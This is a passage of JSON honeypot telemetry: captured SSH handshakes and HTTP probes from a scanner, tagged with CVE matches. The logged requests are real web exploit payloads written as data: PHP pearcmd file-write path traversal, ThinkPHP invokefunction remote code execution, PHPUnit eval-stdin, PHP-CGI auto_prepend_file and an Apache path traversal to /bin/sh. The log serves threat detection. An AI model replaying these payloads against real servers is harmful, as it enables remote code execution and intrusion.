32d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d39360000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000cbcf1b1c52458309e6cb16","method":"","user_agent":"","ja3":"","session":"09f14aa1-bd41-4f57-8331-e7a360312b08","seq":1,"duration_ms":854,"bytes_in":1536,"bytes_out":14,"enriched":{"digest":"4aeaaaa1755605d7","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1","hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nis…","fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256…","chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes2…","hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@open…","none"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-19T04:49:43","port":2222,"proto":"tcp","app_proto":"","app_protocol":"","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":",hmac-md5-96\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0004none\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000ɼU�4�!:Q��","payload_hex":"2c686d61632d6d64352d3936000000046e6f6e65000000046e6f6e6500000000000000000000000000c9bc55b934a4213a51a985","method":"","user_agent":"","ja3":"","session":"fd2f8c13-ba3d-4edf-b414-d47e9dd690cf","seq":2,"duration_ms":386,"bytes_in":1536,"bytes_out":28,"enriched":{"digest":"db833d4a9d051eec","strings":[",hmac-md5-96","none"]}},{"timestamp":"2026-10-19T04:49:43","port":2222,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n\u0000\u0000\u0005�\u000b\u0014�亷@�e��\r�Y|D\u0006�\u0000\u0000\u0001hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com\u0000\u0000\u0001fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-256,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96\u0000\u0000\u0000�hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a000005e40b14e9e4bab740fc65a2dc0dcb597c4406f800000168637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861312c6469666669652d68656c6c6d616e2d67726f7570312d736861312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d736861312c6578742d696e666f2d632c6b65782d7374726963742d632d763030406f70656e7373682e636f6d0000016665636473612d736861322d6e697374703235362c65636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c65636473612d736861322d6e697374703235362d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d763031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d636572742d763031406f70656e7373682e636f6d2c7373682d656432353531392c7373682d656432353531392d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d736861322d3235362c7273612d736861322d3531322d636572742d763031406f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e7373682e636f6d2c7373682d7273612c7373682d7273612d636572742d763031406f70656e7373682e636f6d000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d636263000000c563686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d2c6165733132382d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d6374722c6165733235362d6362632c72696a6e6461656c2d636263406c797361746f722e6c69752e73652c6165733139322d6362632c6165733132382d6362632c617263666f75723132382c617263666f75722c336465732d6362630000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d64352c686d61632d6d64352d39360000009d686d61632d736861322d3235362c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861312d39362c686d61632d6d6435","method":"","user_agent":"","ja3":"","session":"fd2f8c13-ba3d-4edf-b414-d47e9dd690cf","seq":1,"duration_ms":284,"bytes_in":1484,"bytes_out":14,"enriched":{"digest":"1122efad66ef0530","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1","hcurve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nis…","fecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256…","chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes2…","hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@open…"],"iocs":{"domains":["libssh.org","openssh.com"]}}},{"timestamp":"2026-10-16T10:01:13","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3291a9dd-afb5-497f-bd3a-071f93083ec0","seq":49,"duration_ms":13908,"bytes_in":19166,"bytes_out":3871},{"timestamp":"2026-10-16T10:01:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3291a9dd-afb5-497f-bd3a-071f93083ec0","seq":48,"duration_ms":13621,"bytes_in":19012,"bytes_out":3792},{"timestamp":"2026-10-16T10:01:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3291a9dd-afb5-497f-bd3a-071f93083ec0","seq":47,"duration_ms":13336,"bytes_in":18824,"bytes_out":3713},{"timestamp":"2026-10-16T10:01:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3291a9dd-afb5-497f-bd3a-071f93083ec0","seq":46,"duration_ms":13050,"bytes_in":18566,"bytes_out":3634},{"timestamp":"2026-10-16T10:01:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a486f73743a20<HONEYPOT>3a3434330d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"3291a9dd-afb5-497f-bd3a-071f93083ec0","seq":45,"duration_ms":12763,"bytes_in":18318,"bytes_out":3555}],"http_methods":[{"method":"GET","count":213},{"method":"POST","count":35}],"distinct_ports_total":5,"top_paths":[{"path":"/containers/json","count":8,"ports":2},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":5,"ports":1},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":5,"ports":1},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":5,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":5,"ports":1},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":5,"ports":1}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":6}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":1,"events_with_headers":5},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"},{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":2}]}